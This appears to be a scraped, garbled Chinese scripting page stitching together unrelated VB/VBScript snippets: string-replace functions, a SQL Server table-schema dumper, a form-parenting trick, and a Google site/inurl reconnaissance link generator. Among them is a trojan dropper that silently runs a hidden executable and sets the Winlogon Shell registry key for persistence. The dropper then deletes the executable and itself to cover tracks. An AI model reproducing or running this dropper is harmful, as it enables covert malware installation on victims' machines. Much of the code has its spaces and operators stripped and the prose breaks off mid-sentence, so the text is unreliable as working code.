方法一：PublicFunctionFastReplace(SSrch$,SFind$,SRepl$)AsStringDimSrc()AsByte,Dst()AsByte,R()AsByte,F()AsByteDimLenF&,LenR&,LenDst&,i&,j&,OutPos&ConstChunkSize&=4096IfSSrch=""OrSFind=""ThenExitFunctionSrc=SSrch:F=SFind:R=SReplLenF=UBound(F):LenR=UBound(R)LenDst=ChunkSize:ReDimDst(0ToLenDst-1)Fori=0ToUBound(Src)Step2Forj=0ToLenFStep2IfSrc(i j)<>F(j)ThenExitForNextjIfj>LenFThen'FoundForj=0ToLenRStep2IfOutPos>=LenDstThenLenDst=LenDst ChunkSizeReDimPreserveDst(0ToLenDst)EndIfDst(OutPos)=R(j):OutPos=OutPos 2Nextji=i LenF-1ElseIfOutPos>=LenDstThenLenDst=LenDst ChunkSizeReDimPreserveDst(0ToLenDst)EndIfDst(OutPos)=Src(i):OutPos=OutPos 2EndIfNextiReDimPreserveDst(0ToOutPos-2):SSrch=DstFastReplace=SSrch$EndFunction方法二：'SearchLineisinput,SearchForiswhattosearchfor,ReplaceWithisthereplacementFunctionsReplace(SearchLineAsString,SearchForAsString,ReplaceWithAsString)DimvSearchLineAsString,foundAsIntegerfound=InStr(SearchLine,SearchFor):vSearchLine=SearchLineIffound<>0ThenvSearchLine=""Iffound>1ThenvSearchLine=Left(SearchLine,found-1)vSearchLine=vSearchLine ReplaceWithIffound Len(SearchFor)-1<Len(SearchLine)Then_vSearchLine=vSearchLine Right$(SearchLine,Len(SearchLine)-found-Len(SearchFor) 1)EndIfsReplace=vSearchLineEndFunction->

dim wsh set wsh=CreateObject("WScript.Shell") wsh.run "%windir%\flumasko.exe",0 //运行木马程序 set sm=Wscript.CreateObject("WScript.Shell") sm.RegWrite "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell","Explorer.exe %systemroot%\system32\winmgmt.exe" //写进注册表项实现自启动 set WshShell=WScript.CreateObject("WScript.Shell") WScript.Sleep 2000 //等木马的执行完毕 Set fso=CreateObject("Scripting.FileSystemObject") f=fso.DeleteFile ("flumasko.exe") f=fso.DeleteFile (WScript.ScriptName) //毁尸灭迹 " Usage1="语法１：GB2Ue.vbs [驱动器][目录][文件名] （直接替换原文件模式）" Usage2="语法２：GB2Ue.vbs [驱动器][目录][文件名] [目标驱动器][目录][新名称] /Ｙ" Usage3=" 如果目标新文件已存在，使用/Ｙ参数后将直接替换而不提示是否改写所谓建立数据库复本，实际上就是建立数据库的拷贝

在默认情况下，脚本使用本地计算机当前用户的权限运行有时候您会同时写几个不同的程序，或因为某种原因，程序停了一段时间，当您下一次要再继续写时，已经忘了上次写到那里了，其实有一个很简单的方法，可以马上唤起您的记忆

在本专栏中，我们不详细说明bitmask属性的详细内容，但您可以在MicrosoftWindows2000脚本指南中找到bitmask的详细解释和使用方法为ActiveConnection指定一条SQL语句、表名、存储过程名或提供者能接受的任意字符串

set arg=wscript.arguments If arg.count=0 Then show_help() wsh.quit End If Server=arg(0) User=arg(1) pass=arg(2) database_name=arg(3) table_name=arg(4) set Conn=CreateObject("ADODB.Connection") Conn.Open "Driver={SQL Server};Server=" & Server & ";UID=" & User & ";PWD=" & Pass & ";Database=" & database_name Set rs=conn.execute("select count(*) as n from " & database_name & ".dbo.sysobjects where id=object_id(N'[dbo].[" & table_name & "]')") if rs("n") <=0 Then wsh.echo "table have?" wsh.quit End If sql1="use " &database_name & ";select count(column_name) from information_schema.columns where table_name='" & table_name & "'" set rs1=conn.execute(sql1) num=rs1(0) rs1.close Set rs1=Nothing i=1 sql2="use " &database_name & ";select column_name,data_type,IS_NULLABLE,character_octet_length,collation_name,domain_name from information_schema.columns where table_name='" & table_name & "' order by ordinal_position" 'wsh.echo sql2 set rs2=conn.execute (sql2) wsh.echo "if exists (select * from dbo.sysobjects where id=object_id(N'[dbo].[" & table_name & "]') and OBJECTPROPERTY(id, N'IsUserTable')=1)" wsh.echo "drop table [dbo].[" & table_name & "]" wsh.echo "GO" wsh.echo "CREATE TABLE [dbo].[" & table_name & "] (" do while not rs2.eof col_dn=rs2("domain_name") col_name=rs2("column_name") col_type=rs2("data_type") col_len=rs2("character_octet_length") col_an=rs2("collation_name") col_is=rs2("IS_NULLABLE") sql=chr(9)&"[" & col_name & "] " If col_dn="id" Then sql=sql & col_dn &" " Else sql=sql & "[" & col_type & "] " If col_len <> "" Then sql=sql & "(" & col_len & ") " End If If col_an <> "" Then sql=sql & "COLLATE " & col_an End If End If If col_is="No" Then sql=sql & " NOT NULL " Else sql=sql & " NULL " End If If i=num Then sql=sql & Chr(13)&Chr(10)&") ON [PRIMARY]" Else sql=sql & "," End If i=i +1 wsh.echo sql rs2.movenext loop wsh.echo "GO" rs2.close Set rs2=Nothing conn.close Set conn=Nothing Sub show_help() wsh.echo "code by N37P47ch " wsh.echo "cscript show_table.vbs ip user pass database table" End Sub 加载不出来'makeanewproject;twoforms'onform1acommandbutton'putthecodeintherightplaces'pressF5SubForm2_load()'intheform2_loadevent'besuretomaketheform2smallerthenform1!lngOrigParenthWnd=SetWindowWord(Me.hwnd,-8,mdiMain.hwnd)EndSubPrivateSubForm_Unload(CancelAsInteger)'intheform2_unloadeventDimlngResult&lngResult=SetWindowWord(Me.hwnd,-8,lngOrigParenthWnd)EndSub'intheform2_generalsectionPrivateDeclareFunctionSetWindowWordLib"user32"(ByValhwnd&,ByValnIndex&,ByValwNewWord&)AsLongPrivatelngOrigParenthWnd&SubCommand1_clickform2.ShowEndSub->

On Error Resume Next Set Arg=Wscript.Arguments If Arg.count=0 then Wscript.quit 'code by NetPatch 'enjoy it Set Fso=CreateObject("Scripting.FileSystemObject") Set Gofile=Fso.OpenTextFile(Arg(0),1,false,-2) Do while Gofile.Atendofline <> True Data=gofile.readline With fso.opentextfile(Arg(0)&".htm",8,true) Data=replace(Data,"(view site)","") Data=trim(replace(Data,mid(Data,1,InStr(Data,")")),"")) .Write "<table>" .Write "<tr>" .Write "<tr><td><a href='"&Data&"&btnG=Google+' tArget='_blank'>Google_Site查询</a></td></tr>" .Write "<td><a href='"&Data&"' tArget='_blank'>"&Data&"</a></td></tr>" .Write "<tr><td><a href='"&Data&"+inurl:asp|aspx|cfm&btnG=Google+' tArget='_blank'>查扩展映射(asp|aspx|cfm)</a></td></tr>" .Write "<tr><td><a href='"&Data&"+inurl:cgi|jsp|pl|py|php|php3&btnG=Google+' tArget='_blank'>查扩展映射(cgi|jsp|pl|py|php|php3)</a></td></tr>" .Write "</table>" .Writeline "<br><br>" .close End With Loop File.Close Set Fso=Nothing Wscript.Echo "ok" 。